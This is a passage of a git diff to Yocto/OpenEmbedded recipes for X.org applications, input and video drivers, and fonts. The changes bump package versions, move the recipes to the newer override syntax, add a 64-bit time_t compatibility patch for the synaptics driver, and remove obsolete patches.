+EXTRA_OECONF += "--disable-selective-werror"
+
+SRC_URI[sha256sum] = "6851086c4244b6fd0cc562880d8ff193fb2bbf1e141c73632e10731b31d4b05e"
diff --git a/meta/recipes-graphics/xorg-app/xorg-app-common.inc b/meta/recipes-graphics/xorg-app/xorg-app-common.inc
index 3529cb26ef..1c64e20aac 100644
--- a/meta/recipes-graphics/xorg-app/xorg-app-common.inc
+++ b/meta/recipes-graphics/xorg-app/xorg-app-common.inc
@@ -2,16 +2,14 @@ SUMMARY = "X application"
HOMEPAGE = "http://www.x.org/"
BUGTRACKER = "https://bugs.freedesktop.org"
SECTION = "x11/apps"
-LICENSE = "MIT-X"
+LICENSE = "MIT"
DEPENDS = "util-macros-native virtual/libx11"
# depends on virtual/libx11
REQUIRED_DISTRO_FEATURES = "x11"
-INC_PR = "r8"
-
SRC_URI = "${XORG_MIRROR}/individual/app/${BPN}-${PV}.tar.bz2"
-inherit autotools pkgconfig distro_features_check
+inherit autotools pkgconfig features_check
-FILES_${PN} += " ${libdir}/X11/${BPN} ${datadir}/X11/app-defaults/"
+FILES:${PN} += " ${libdir}/X11/${BPN} ${datadir}/X11/app-defaults/"
diff --git a/meta/recipes-graphics/xorg-app/xprop_1.2.4.bb b/meta/recipes-graphics/xorg-app/xprop_1.2.4.bb
deleted file mode 100644
index 3280813ef8..0000000000
--- a/meta/recipes-graphics/xorg-app/xprop_1.2.4.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-require xorg-app-common.inc
-
-SUMMARY = "Utility to display window and font properties of an X server"
-
-DESCRIPTION = "The xprop utility is for displaying window and font \
-properties in an X server. One window or font is selected using the \
-command line arguments or possibly in the case of a window, by clicking \
-on the desired window. A list of properties is then given, possibly with \
-formatting information."
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=e226ab8db88ac0bc0391673be40c9f91"
-
-DEPENDS += "libxmu"
-
-PE = "1"
-
-SRC_URI[md5sum] = "cc369c28383a5d7144e7197ee7d30bfa"
-SRC_URI[sha256sum] = "8c77fb096e46c60032b7e2bde9492c3ffcc18734f50b395085a5f10bfd3cf753"
diff --git a/meta/recipes-graphics/xorg-app/xprop_1.2.5.bb b/meta/recipes-graphics/xorg-app/xprop_1.2.5.bb
new file mode 100644
index 0000000000..b1589a8d75
--- /dev/null
+++ b/meta/recipes-graphics/xorg-app/xprop_1.2.5.bb
@@ -0,0 +1,17 @@
+require xorg-app-common.inc
+
+SUMMARY = "Utility to display window and font properties of an X server"
+
+DESCRIPTION = "The xprop utility is for displaying window and font \
+properties in an X server. One window or font is selected using the \
+command line arguments or possibly in the case of a window, by clicking \
+on the desired window. A list of properties is then given, possibly with \
+formatting information."
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=e226ab8db88ac0bc0391673be40c9f91"
+
+DEPENDS += "libxmu"
+
+PE = "1"
+
+SRC_URI[sha256sum] = "9b92ed0316bf2486121d8bac88bd1878f16b43bd335f18009b1f941f1eca93a1"
diff --git a/meta/recipes-graphics/xorg-app/xrandr_1.5.1.bb b/meta/recipes-graphics/xorg-app/xrandr_1.5.1.bb
index 6583ea2371..57b43ff28c 100644
--- a/meta/recipes-graphics/xorg-app/xrandr_1.5.1.bb
+++ b/meta/recipes-graphics/xorg-app/xrandr_1.5.1.bb
@@ -15,3 +15,5 @@ SRC_URI = "${XORG_MIRROR}/individual/app/${BPN}-${PV}.tar.xz"
SRC_URI[md5sum] = "fe40f7a4fd39dd3a02248d3e0b1972e4"
SRC_URI[sha256sum] = "7bc76daf9d72f8aff885efad04ce06b90488a1a169d118dea8a2b661832e8762"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-driver/xf86-input-libinput_0.29.0.bb b/meta/recipes-graphics/xorg-driver/xf86-input-libinput_0.29.0.bb
deleted file mode 100644
index f87083e575..0000000000
--- a/meta/recipes-graphics/xorg-driver/xf86-input-libinput_0.29.0.bb
+++ /dev/null
@@ -1,11 +0,0 @@
-require xorg-driver-input.inc
-
-SUMMARY = "Generic input driver for the X.Org server based on libinput"
-LIC_FILES_CHKSUM = "file://COPYING;md5=5e6b20ea2ef94a998145f0ea3f788ee0"
-
-DEPENDS += "libinput"
-
-SRC_URI[md5sum] = "d600e8e2e30747b8ce49ec5294ff0ab6"
-SRC_URI[sha256sum] = "c28b56a21754b972db31798e6a4cf4dc9d69208d08f8fe41701a94def5e94bee"
-
-FILES_${PN} += "${datadir}/X11/xorg.conf.d"
diff --git a/meta/recipes-graphics/xorg-driver/xf86-input-libinput_1.2.1.bb b/meta/recipes-graphics/xorg-driver/xf86-input-libinput_1.2.1.bb
new file mode 100644
index 0000000000..e1c47aa5e7
--- /dev/null
+++ b/meta/recipes-graphics/xorg-driver/xf86-input-libinput_1.2.1.bb
@@ -0,0 +1,12 @@
+require xorg-driver-input.inc
+
+SUMMARY = "Generic input driver for the X.Org server based on libinput"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=a22925127bd3c827c384cedd23ed2309"
+
+DEPENDS += "libinput"
+
+XORG_DRIVER_COMPRESSOR = ".tar.xz"
+SRC_URI[sha256sum] = "8151db5b9ddb317c0ce92dcb62da9a8db5079e5b8a95b60abc854da21e7e971b"
+
+FILES:${PN} += "${datadir}/X11/xorg.conf.d"
diff --git a/meta/recipes-graphics/xorg-driver/xf86-input-synaptics/64bit_time_t_support.patch b/meta/recipes-graphics/xorg-driver/xf86-input-synaptics/64bit_time_t_support.patch
new file mode 100644
index 0000000000..4bb7fb3e23
--- /dev/null
+++ b/meta/recipes-graphics/xorg-driver/xf86-input-synaptics/64bit_time_t_support.patch
@@ -0,0 +1,51 @@
+This patch avoids using time field of input_event structure which is not available
+on 32bit arches supporting 64bit time_t structs, Patch makes it compatible with new
+and keeps old input.h implementation functional as well.
+
+See https://sourceware.org/glibc/wiki/Y2038ProofnessDesign
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+--- a/src/eventcomm.c
++++ b/src/eventcomm.c
+@@ -575,10 +575,12 @@ SynapticsReadEvent(InputInfoPtr pInfo, s
+ ev->type = EV_SYN;
+ ev->code = SYN_REPORT;
+ ev->value = 0;
+- ev->time = last_event_time;
+- } else if (ev->type == EV_SYN)
+- last_event_time = ev->time;
+-
++ ev->input_event_sec = last_event_time.tv_sec;
++ ev->input_event_usec = last_event_time.tv_usec;
++ } else if (ev->type == EV_SYN) {
++ last_event_time.tv_sec = ev->input_event_sec;
++ last_event_time.tv_usec = ev->input_event_usec;
++ }
+ return TRUE;
+ }
+
+@@ -725,7 +727,7 @@ EventReadHwState(InputInfoPtr pInfo,
+ case SYN_REPORT:
+ hw->numFingers = count_fingers(pInfo, comm);
+ if (proto_data->have_monotonic_clock)
+- hw->millis = 1000 * ev.time.tv_sec + ev.time.tv_usec / 1000;
++ hw->millis = 1000 * ev.input_event_sec + ev.input_event_usec / 1000;
+ else
+ hw->millis = GetTimeInMillis();
+ SynapticsCopyHwState(hwRet, hw);
+--- a/src/eventcomm.h
++++ b/src/eventcomm.h
+@@ -34,6 +34,11 @@
+ #include <xf86Xinput.h>
+ #include "synproto.h"
+
++#ifndef input_event_sec
++#define input_event_sec time.tv_sec
++#define input_event_usec time.tv_usec
++#endif
++
+ /* for auto-dev: */
+ #define DEV_INPUT_EVENT "/dev/input"
+ #define EVENT_DEV_NAME "event"
diff --git a/meta/recipes-graphics/xorg-driver/xf86-input-synaptics_1.9.1.bb b/meta/recipes-graphics/xorg-driver/xf86-input-synaptics_1.9.1.bb
index dc31890f69..388350c96e 100644
--- a/meta/recipes-graphics/xorg-driver/xf86-input-synaptics_1.9.1.bb
+++ b/meta/recipes-graphics/xorg-driver/xf86-input-synaptics_1.9.1.bb
@@ -10,6 +10,8 @@ advanced features of the touchpad to become available."
LIC_FILES_CHKSUM = "file://COPYING;md5=55aacd3535a741824955c5eb8f061398"
+SRC_URI += "file://64bit_time_t_support.patch"
+
SRC_URI[md5sum] = "cfb79d3c975151f9bbf30b727c260cb9"
SRC_URI[sha256sum] = "7af83526eff1c76e8b9e1553b34245c203d029028d8044dd9dcf71eef1001576"
diff --git a/meta/recipes-graphics/xorg-driver/xf86-input-vmmouse_13.1.0.bb b/meta/recipes-graphics/xorg-driver/xf86-input-vmmouse_13.1.0.bb
index 92a1b25ebe..5e740037d9 100644
--- a/meta/recipes-graphics/xorg-driver/xf86-input-vmmouse_13.1.0.bb
+++ b/meta/recipes-graphics/xorg-driver/xf86-input-vmmouse_13.1.0.bb
@@ -9,13 +9,13 @@ standard 'mouse' driver if a VMware virtual machine is not detected."
SRC_URI[md5sum] = "85e2e464b7219c495ad3a16465c226ed"
SRC_URI[sha256sum] = "0af558957ac1be1b2863712c2475de8f4d7f14921fd01ded2e2fde4921b19319"
-RDEPENDS_${PN} += "xf86-input-mouse"
+RDEPENDS:${PN} += "xf86-input-mouse"
LIC_FILES_CHKSUM = "file://COPYING;md5=622841c068a9d7625fbfe7acffb1a8fc"
COMPATIBLE_HOST = '(i.86|x86_64).*-linux'
-do_install_append () {
+do_install:append () {
# We don't care about hal
rm -rf ${D}${datadir}/hal/
rm -rf ${D}${libdir}/hal/
@@ -23,4 +23,4 @@ do_install_append () {
EXTRA_OECONF = "--with-udev-rules-dir=${nonarch_base_libdir}/udev/rules.d"
-FILES_${PN} += "${datadir}/X11/xorg.conf.d"
+FILES:${PN} += "${datadir}/X11/xorg.conf.d"
diff --git a/meta/recipes-graphics/xorg-driver/xf86-video-intel/01_Fix-build-on-i686.patch b/meta/recipes-graphics/xorg-driver/xf86-video-intel/01_Fix-build-on-i686.patch
deleted file mode 100644
index 52916f8b4a..0000000000
--- a/meta/recipes-graphics/xorg-driver/xf86-video-intel/01_Fix-build-on-i686.patch
+++ /dev/null
@@ -1,55 +0,0 @@
-From a414d4e24461da1cb4cef8ee910bc57bab360ceb Mon Sep 17 00:00:00 2001
-From: Adam Jackson <ajax@redhat.com>
-Date: Tue, 6 Mar 2018 12:07:46 -0500
-Subject: [PATCH] Fix build on i686
-
-Presumably this only matters for i686 because amd64 implies sse2, but:
-
-BUILDSTDERR: In file included from gen4_vertex.c:34:
-BUILDSTDERR: gen4_vertex.c: In function 'emit_vertex':
-BUILDSTDERR: sna_render_inline.h:40:26: error: inlining failed in call to always_inline 'vertex_emit_2s': target specific option mismatch
-BUILDSTDERR: static force_inline void vertex_emit_2s(struct sna *sna, int16_t x, int16_t y)
-BUILDSTDERR: ^~~~~~~~~~~~~~
-BUILDSTDERR: gen4_vertex.c:308:25: note: called from here
-BUILDSTDERR: #define OUT_VERTEX(x,y) vertex_emit_2s(sna, x,y) /* XXX assert(!too_large(x, y)); */
-BUILDSTDERR: ^~~~~~~~~~~~~~~~~~~~~~~~
-BUILDSTDERR: gen4_vertex.c:360:2: note: in expansion of macro 'OUT_VERTEX'
-BUILDSTDERR: OUT_VERTEX(dstX, dstY);
-BUILDSTDERR: ^~~~~~~~~~
-
-The bug here appears to be that emit_vertex() is declared 'sse2' but
-vertex_emit_2s is merely always_inline. gcc8 decides that since you said
-always_inline you need to have explicitly cloned it for every
-permutation of targets. Merely saying inline seems to do the job of
-cloning vertex_emit_2s as much as necessary.
-
-So to reiterate: if you say always-inline, it won't, but if you just say
-maybe inline, it will. Thanks gcc, that's helpful.
-
-- ajax
-
-Patch taken from Fedora.
-
-Upstream-Status: Pending
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
-
----
- src/sna/compiler.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/sna/compiler.h b/src/sna/compiler.h
-index 3c176a16..bc447c7a 100644
---- a/src/sna/compiler.h
-+++ b/src/sna/compiler.h
-@@ -32,7 +32,7 @@
- #define likely(expr) (__builtin_expect (!!(expr), 1))
- #define unlikely(expr) (__builtin_expect (!!(expr), 0))
- #define noinline __attribute__((noinline))
--#define force_inline inline __attribute__((always_inline))
-+#define force_inline inline
- #define fastcall __attribute__((regparm(3)))
- #define must_check __attribute__((warn_unused_result))
- #define constant __attribute__((const))
---
-2.16.2
-
diff --git a/meta/recipes-graphics/xorg-driver/xf86-video-intel_git.bb b/meta/recipes-graphics/xorg-driver/xf86-video-intel_git.bb
index bf9009bda0..74ec57aa66 100644
--- a/meta/recipes-graphics/xorg-driver/xf86-video-intel_git.bb
+++ b/meta/recipes-graphics/xorg-driver/xf86-video-intel_git.bb
@@ -9,34 +9,30 @@ Infrastructure (DRI)."
LIC_FILES_CHKSUM = "file://COPYING;md5=8730ad58d11c7bbad9a7066d69f7808e"
-SRCREV = "33ee0c3b21ea279e08d0863fcb2e874f0974b00e"
+SRCREV = "31486f40f8e8f8923ca0799aea84b58799754564"
PV = "2.99.917+git${SRCPV}"
S = "${WORKDIR}/git"
-SRC_URI = "git://anongit.freedesktop.org/xorg/driver/xf86-video-intel \
- "
-
-SRC_URI_append_qemux86 = "file://01_Fix-build-on-i686.patch"
+SRC_URI = "git://anongit.freedesktop.org/xorg/driver/xf86-video-intel;branch=master \
+"
UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)"
-DEPENDS += "virtual/libx11 drm libpciaccess pixman"
+DEPENDS += "virtual/libx11 drm libpciaccess pixman cairo libpng libxcb libxcomposite libxdamage libxrender libxrandr libxext libxfixes"
-PACKAGECONFIG ??= "sna xvmc uxa udev ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'dri dri2 dri3', '', d)}"
+PACKAGECONFIG ??= "sna xvmc uxa udev ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'dri2 dri3', '', d)}"
-PACKAGECONFIG[dri] = "--enable-dri,--disable-dri"
-PACKAGECONFIG[dri1] = "--enable-dri1,--disable-dri1"
PACKAGECONFIG[dri2] = "--enable-dri2,--disable-dri2"
PACKAGECONFIG[dri3] = "--enable-dri3,--disable-dri3"
PACKAGECONFIG[sna] = "--enable-sna,--disable-sna"
PACKAGECONFIG[uxa] = "--enable-uxa,--disable-uxa"
PACKAGECONFIG[udev] = "--enable-udev,--disable-udev,udev"
PACKAGECONFIG[xvmc] = "--enable-xvmc,--disable-xvmc,libxvmc xcb-util"
-PACKAGECONFIG[tools] = "--enable-tools,--disable-tools,libxinerama libxrandr libxdamage libxfixes libxcursor libxtst libxrender libxscrnsaver libxext libx11 pixman libxcb libxshmfence"
+PACKAGECONFIG[tools] = "--enable-tools,--disable-tools,libxinerama libxcursor libxtst libxscrnsaver libxshmfence"
# --enable-kms-only option is required by ROOTLESS_X
EXTRA_OECONF += '${@oe.utils.conditional( "ROOTLESS_X", "1", " --enable-kms-only", "", d )}'
COMPATIBLE_HOST = '(i.86|x86_64).*-linux'
-FILES_${PN} += "${datadir}/polkit-1"
+FILES:${PN} += "${datadir}/polkit-1"
diff --git a/meta/recipes-graphics/xorg-driver/xf86-video-vesa/0001-Refuse-to-run-on-UEFI-machines.patch b/meta/recipes-graphics/xorg-driver/xf86-video-vesa/0001-Refuse-to-run-on-UEFI-machines.patch
deleted file mode 100644
index 9e01770667..0000000000
--- a/meta/recipes-graphics/xorg-driver/xf86-video-vesa/0001-Refuse-to-run-on-UEFI-machines.patch
+++ /dev/null
@@ -1,52 +0,0 @@
-From 2645e0aa9c17c2c966a0533e52ad00510311483e Mon Sep 17 00:00:00 2001
-From: Adam Jackson <ajax@redhat.com>
-Date: Wed, 29 Aug 2018 11:04:23 -0400
-Subject: [PATCH] Refuse to run on UEFI machines
-
-No possible good can come of this.
-
-v2: Check for .../efi-framebuffer.0 ("is there an EFI framebuffer")
-instead of /sys/firmware/efi ("is this an EFI machine"). Suggested by
-Peter Jones.
-
-Upstream-Status: Backport [https://gitlab.freedesktop.org/xorg/driver/xf86-video-vesa]
-
-Reviewed-by: Peter Jones <pjones@redhat.com>
-Signed-off-by: Adam Jackson <ajax@redhat.com>
-Signed-off-by: Ovidiu Panait <ovidiu.panait@windriver.com>
----
- src/vesa.c | 11 +++++++++--
- 1 file changed, 9 insertions(+), 2 deletions(-)
-
-diff --git a/src/vesa.c b/src/vesa.c
-index 9b65b9b..af750e2 100644
---- a/src/vesa.c
-+++ b/src/vesa.c
-@@ -43,7 +43,7 @@
- #endif
-
- #include <string.h>
--
-+#include <unistd.h>
- #include "vesa.h"
-
- /* All drivers initialising the SW cursor need this */
-@@ -450,7 +450,14 @@ VESAPciProbe(DriverPtr drv, int entity_num, struct pci_device *dev,
- intptr_t match_data)
- {
- ScrnInfoPtr pScrn;
--
-+
-+#ifdef __linux__
-+ if (access("/sys/devices/platform/efi-framebuffer.0", F_OK) == 0) {
-+ ErrorF("vesa: Refusing to run on UEFI\n");
-+ return FALSE;
-+ }
-+#endif
-+
- pScrn = xf86ConfigPciEntity(NULL, 0, entity_num, NULL,
- NULL, NULL, NULL, NULL, NULL);
- if (pScrn != NULL) {
---
-2.20.1
-
diff --git a/meta/recipes-graphics/xorg-driver/xf86-video-vesa_2.4.0.bb b/meta/recipes-graphics/xorg-driver/xf86-video-vesa_2.4.0.bb
deleted file mode 100644
index f6aa54456c..0000000000
--- a/meta/recipes-graphics/xorg-driver/xf86-video-vesa_2.4.0.bb
+++ /dev/null
@@ -1,23 +0,0 @@
-require xorg-driver-video.inc
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=a1f0610ebdc6f314a9fa5102a8c5c1b0"
-
-SUMMARY = "X.Org X server -- Generic Vesa video driver"
-
-DESCRIPTION = "vesa is an Xorg driver for generic VESA video cards. It \
-can drive most VESA-compatible video cards, but only makes use of the \
-basic standard VESA core that is common to these cards. The driver \
-supports depths 8, 15 16 and 24."
-
-DEPENDS += "virtual/libx11 xorgproto libpciaccess"
-
-COMPATIBLE_HOST = '(i.86|x86_64).*-linux'
-
-RRECOMMENDS_${PN} += "xserver-xorg-module-libint10"
-
-SRC_URI[md5sum] = "8134201beaf6f77150c7809c3cc802e6"
-SRC_URI[sha256sum] = "bf443c94d7bf6cd4e248f8a3147f4647be04dc4c80250d9405006263bbdee38c"
-
-SRC_URI += " \
- file://0001-Refuse-to-run-on-UEFI-machines.patch \
- "
diff --git a/meta/recipes-graphics/xorg-driver/xf86-video-vesa_2.5.0.bb b/meta/recipes-graphics/xorg-driver/xf86-video-vesa_2.5.0.bb
new file mode 100644
index 0000000000..05bb905b35
--- /dev/null
+++ b/meta/recipes-graphics/xorg-driver/xf86-video-vesa_2.5.0.bb
@@ -0,0 +1,19 @@
+require xorg-driver-video.inc
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=a1f0610ebdc6f314a9fa5102a8c5c1b0"
+
+SUMMARY = "X.Org X server -- Generic Vesa video driver"
+
+DESCRIPTION = "vesa is an Xorg driver for generic VESA video cards. It \
+can drive most VESA-compatible video cards, but only makes use of the \
+basic standard VESA core that is common to these cards. The driver \
+supports depths 8, 15 16 and 24."
+
+DEPENDS += "virtual/libx11 xorgproto libpciaccess"
+
+COMPATIBLE_HOST = '(i.86|x86_64).*-linux'
+
+RRECOMMENDS:${PN} += "xserver-xorg-module-libint10"
+
+SRC_URI[sha256sum] = "1f1624f3c73906801ad1bc98335a2cb5676a7a4d18e5374d9a1d18464e54c659"
+
diff --git a/meta/recipes-graphics/xorg-driver/xf86-video-vmware/0002-add-option-for-vmwgfx.patch b/meta/recipes-graphics/xorg-driver/xf86-video-vmware/0002-add-option-for-vmwgfx.patch
index 5bda720ce5..b37f697aa4 100644
--- a/meta/recipes-graphics/xorg-driver/xf86-video-vmware/0002-add-option-for-vmwgfx.patch
+++ b/meta/recipes-graphics/xorg-driver/xf86-video-vmware/0002-add-option-for-vmwgfx.patch
@@ -3,7 +3,7 @@ From: Jussi Kukkonen <jussi.kukkonen@intel.com>
Date: Fri, 9 Dec 2016 14:35:45 +0200
Subject: [PATCH] Add option for vmwgfx
-Upstream-Status:Submitted
+Upstream-Status: Submitted
Signed-off-by: Ross Burton <ross.burton@intel.com>
Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
diff --git a/meta/recipes-graphics/xorg-driver/xorg-driver-common.inc b/meta/recipes-graphics/xorg-driver/xorg-driver-common.inc
index e657c65b4c..8b3f19426b 100644
--- a/meta/recipes-graphics/xorg-driver/xorg-driver-common.inc
+++ b/meta/recipes-graphics/xorg-driver/xorg-driver-common.inc
@@ -2,24 +2,26 @@ SUMMARY = "X driver"
HOMEPAGE = "http://www.x.org"
BUGTRACKER = "https://bugs.freedesktop.org"
SECTION = "x11/drivers"
-LICENSE = "MIT-X"
+LICENSE = "MIT"
PE = "2"
-INC_PR = "r21"
DEPENDS = "virtual/xserver xorgproto util-macros"
-SRC_URI = "${XORG_MIRROR}/individual/driver/${BPN}-${PV}.tar.bz2"
+XORG_DRIVER_COMPRESSOR ?= ".tar.bz2"
+SRC_URI = "${XORG_MIRROR}/individual/driver/${BPN}-${PV}${XORG_DRIVER_COMPRESSOR}"
-FILES_${PN} += " ${libdir}/xorg/modules/drivers/*.so"
+FILES:${PN} += " ${libdir}/xorg/modules/drivers/*.so"
+
+XORGBUILDCLASS ??= "autotools"
+inherit ${XORGBUILDCLASS} pkgconfig features_check
-inherit autotools pkgconfig distro_features_check
# depends on virtual/xserver
REQUIRED_DISTRO_FEATURES = "x11"
# FIXME: We don't want to include the libtool archives (*.la) from modules
# directory, as they serve no useful purpose. Upstream should fix Makefile.am
-do_install_append() {
+do_install:append() {
find ${D}${libdir}/xorg/modules -regex ".*\.la$" | xargs rm -f --
}
@@ -37,6 +39,6 @@ def _add_xorg_abi_depends(d, name):
abi = "%sxorg-abi-%s-%s" % (mlprefix, name, output.split(".")[0])
pn = d.getVar("PN")
- d.appendVar('RDEPENDS_' + pn, ' ' + abi)
+ d.appendVar('RDEPENDS:' + pn, ' ' + abi)
SECURITY_LDFLAGS = "${SECURITY_X_LDFLAGS}"
diff --git a/meta/recipes-graphics/xorg-driver/xorg-driver-input.inc b/meta/recipes-graphics/xorg-driver/xorg-driver-input.inc
index 57912e70db..934c3d75c1 100644
--- a/meta/recipes-graphics/xorg-driver/xorg-driver-input.inc
+++ b/meta/recipes-graphics/xorg-driver/xorg-driver-input.inc
@@ -7,6 +7,6 @@ python add_xorg_abi_depends() {
}
PACKAGEFUNCS =+ "add_xorg_abi_depends"
-FILES_${PN} += " ${libdir}/xorg/modules/input/*.so \
+FILES:${PN} += " ${libdir}/xorg/modules/input/*.so \
${datadir}/X11/xorg.conf.d \
"
diff --git a/meta/recipes-graphics/xorg-font/encodings_1.0.5.bb b/meta/recipes-graphics/xorg-font/encodings_1.0.5.bb
index a39609b5da..8ddbaf24dd 100644
--- a/meta/recipes-graphics/xorg-font/encodings_1.0.5.bb
+++ b/meta/recipes-graphics/xorg-font/encodings_1.0.5.bb
@@ -7,10 +7,10 @@ require xorg-font-common.inc
LICENSE = "PD"
LIC_FILES_CHKSUM = "file://COPYING;md5=9da93f2daf2d5572faa2bfaf0dbd9e76"
PE = "1"
-PR = "${INC_PR}.1"
+PR = "r3"
DEPENDS = "mkfontscale-native mkfontdir-native font-util-native"
-RDEPENDS_${PN} = ""
+RDEPENDS:${PN} = ""
SRC_URI += "file://nocompiler.patch"
SRC_URI[md5sum] = "bbae4f247b88ccde0e85ed6a403da22a"
@@ -19,3 +19,7 @@ SRC_URI[sha256sum] = "bd96e16143a044b19e87f217cf6a3763a70c561d1076aad6f6d862ec41
inherit allarch
EXTRA_OECONF += "--with-encodingsdir=${datadir}/fonts/X11/encodings"
+
+# postinst from .inc doesn't apply to this recipe
+pkg_postinst:${PN} () {
+}
diff --git a/meta/recipes-graphics/xorg-font/font-alias-1.0.3/nocompiler.patch b/meta/recipes-graphics/xorg-font/font-alias-1.0.3/nocompiler.patch
deleted file mode 100644
index 0b9fb8ccc0..0000000000
--- a/meta/recipes-graphics/xorg-font/font-alias-1.0.3/nocompiler.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-Upstream-Status: Inappropriate [configuration]
-
-XORG_DEFAULT_OPTIONS pulls in the following dependency chains:
-
-XORG_CWARNFLAGS -> AC_PROG_CC_C99
-XORG_STRICT_OPTION -> AC_PROG_CC_C99, XORG_CWARNFLAGS
-XORG_MANPAGE_SECTIONS -> AC_CANONICAL_HOST -> Checks host
-
-each of which triggers the use of the host compiler. As an "all"
-architecture package, it shouldn't need a compiler (and doesn't).
-
-RP 17/5/2011
-
-diff -uNr font-alias-1.0.3.orig//configure.ac font-alias-1.0.3/configure.ac
---- font-alias-1.0.3.orig//configure.ac 2011-05-18 21:29:18.378258643 +0200
-+++ font-alias-1.0.3/configure.ac 2011-05-18 21:32:06.865258593 +0200
-@@ -28,12 +28,12 @@
- AM_INIT_AUTOMAKE([foreign dist-bzip2])
- AM_MAINTAINER_MODE
-
--# Require xorg-macros: XORG_DEFAULT_OPTIONS
- m4_ifndef([XORG_MACROS_VERSION],
- [m4_fatal([must install xorg-macros 1.3 or later before running autoconf/autogen])])
- XORG_MACROS_VERSION(1.3)
--XORG_DEFAULT_OPTIONS
--
-+XORG_RELEASE_VERSION
-+XORG_CHANGELOG
-+XORG_INSTALL
- AC_PROG_INSTALL
-
- XORG_FONTROOTDIR
diff --git a/meta/recipes-graphics/xorg-font/font-alias-1.0.4/nocompiler.patch b/meta/recipes-graphics/xorg-font/font-alias-1.0.4/nocompiler.patch
new file mode 100644
index 0000000000..e54eee4ea9
--- /dev/null
+++ b/meta/recipes-graphics/xorg-font/font-alias-1.0.4/nocompiler.patch
@@ -0,0 +1,42 @@
+From fa2bbd48a55d54bd2dae30edf7936e3ab7587c96 Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Tue, 17 May 2011 23:03:02 +0000
+Subject: [PATCH] Improve handling of 'all' architecture recipes and their
+
+Upstream-Status: Inappropriate [configuration]
+
+XORG_DEFAULT_OPTIONS pulls in the following dependency chains:
+
+XORG_CWARNFLAGS -> AC_PROG_CC_C99
+XORG_STRICT_OPTION -> AC_PROG_CC_C99, XORG_CWARNFLAGS
+XORG_MANPAGE_SECTIONS -> AC_CANONICAL_HOST -> Checks host
+
+each of which triggers the use of the host compiler. As an "all"
+architecture package, it shouldn't need a compiler (and doesn't).
+
+RP 17/5/2011
+
+---
+ configure.ac | 6 +++---
+ 1 file changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/configure.ac b/configure.ac
+index 3407c69..9fe1f89 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -27,12 +27,12 @@ AC_INIT([font-alias], [1.0.4],
+ [font-alias])
+ AM_INIT_AUTOMAKE([foreign dist-bzip2])
+
+-# Require xorg-macros: XORG_DEFAULT_OPTIONS
+ m4_ifndef([XORG_MACROS_VERSION],
+ [m4_fatal([must install xorg-macros 1.3 or later before running autoconf/autogen])])
+ XORG_MACROS_VERSION(1.3)
+-XORG_DEFAULT_OPTIONS
+-
++XORG_RELEASE_VERSION
++XORG_CHANGELOG
++XORG_INSTALL
+ AC_PROG_INSTALL
+
+ # Require X.Org's font util macros 1.2 or later
diff --git a/meta/recipes-graphics/xorg-font/font-alias_1.0.3.bb b/meta/recipes-graphics/xorg-font/font-alias_1.0.3.bb
deleted file mode 100644
index 15e101596a..0000000000
--- a/meta/recipes-graphics/xorg-font/font-alias_1.0.3.bb
+++ /dev/null
@@ -1,24 +0,0 @@
-SUMMARY = "X font aliases"
-
-require xorg-font-common.inc
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=bf0158b89be493d523d69d9f29265038 \
- file://cyrillic/fonts.alias;md5=f40795b0640d6785826aecd3b16f6124 \
- file://75dpi/fonts.alias;md5=6bc48023f2ae7f3bfc105db7b0ee6b49 \
- file://misc/fonts.alias;md5=a8ec05d528431d4c9703b55a7efd67a8 \
- file://100dpi/fonts.alias;md5=85bebd6ca213aa656c301a72eb4397cb"
-
-SRC_URI += "file://nocompiler.patch"
-
-DEPENDS = "util-macros-native font-util-native"
-RDEPENDS_${PN} = "encodings font-util"
-RDEPENDS_${PN}_class-native = "font-util-native"
-
-inherit allarch
-
-PE = "1"
-PR = "${INC_PR}.3"
-
-SRC_URI[md5sum] = "6d25f64796fef34b53b439c2e9efa562"
-SRC_URI[sha256sum] = "8b453b2aae1cfa8090009ca037037b8c5e333550651d5a158b7264ce1d472c9a"
diff --git a/meta/recipes-graphics/xorg-font/font-alias_1.0.4.bb b/meta/recipes-graphics/xorg-font/font-alias_1.0.4.bb
new file mode 100644
index 0000000000..d80ecbeb8f
--- /dev/null
+++ b/meta/recipes-graphics/xorg-font/font-alias_1.0.4.bb
@@ -0,0 +1,23 @@
+SUMMARY = "X font aliases"
+
+require xorg-font-common.inc
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=bf0158b89be493d523d69d9f29265038 \
+ file://cyrillic/fonts.alias;md5=d27bc65a2655cacdbc2644b51c064c20 \
+ file://75dpi/fonts.alias;md5=6bc48023f2ae7f3bfc105db7b0ee6b49 \
+ file://misc/fonts.alias;md5=1bdafa7c31aa54f87f3531f2ef8ed5a6 \
+ file://100dpi/fonts.alias;md5=85bebd6ca213aa656c301a72eb4397cb \
+ "
+
+SRC_URI += "file://nocompiler.patch"
+
+DEPENDS = "util-macros-native font-util-native"
+RDEPENDS:${PN} = "encodings font-util"
+RDEPENDS:${PN}:class-native = "font-util-native"
+
+inherit allarch
+
+PE = "1"
+
+SRC_URI[sha256sum] = "f3111ae8bf2e980f5f56af400e8eefe5fc9f4207f4a412ea79637fd66c945276"
diff --git a/meta/recipes-graphics/xorg-font/font-util_1.3.2.bb b/meta/recipes-graphics/xorg-font/font-util_1.3.2.bb
index ebe7a603fa..b3e832756b 100644
--- a/meta/recipes-graphics/xorg-font/font-util_1.3.2.bb
